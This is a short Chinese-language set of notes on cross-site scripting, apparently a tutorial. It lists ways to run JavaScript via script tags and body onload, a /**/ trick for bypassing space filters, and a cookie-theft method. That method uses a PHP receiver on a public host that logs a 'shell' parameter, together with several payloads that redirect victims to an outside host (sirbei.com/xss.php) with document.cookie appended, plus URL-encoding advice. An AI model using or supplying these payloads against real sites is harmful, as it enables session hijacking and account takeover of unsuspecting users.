写在开头可能会用到的提示
- 执行js代码的几种方式
<script>代码</script>
例子:<script>alert("sibei")</script>
<body onload="代码"></body>
例子:<body onload="alert('sibei')"></body>
- 标签空格被过滤,可以用/**/
案例
通过XSS反弹cookie
- 思路:将JS代码插入后,如果被访问,那么就会执行JS代码,将插入的地址+cookie反射给反射机,相当于传参了
- 公网IP主机写入PHP代码
<?php
file_put_contents('./xss.txt',$_GET['shell']);
- 注入代码(推荐):
<body onload="window.location.href='你的反射机地址'+document.cookie"></body>
- 例如:
<body onload="window.location.href='https://sirbei.com/xss.php?shell='%2Bdocument.cookie"></body>
- 注意:
需要将+进行url编码,shellcode里面cookie和原始url连接的时候,用的是+。然而在浏览器的地址栏里,+可能被解析成空格。所以我们需要把+替换成url编码%2b。
- 其他语句:
<script>document.location.href='你的反射机地址'+document.cookie</script>
- 其他语句:
<script>window.location.href='你的反射机地址'+document.cookie</script>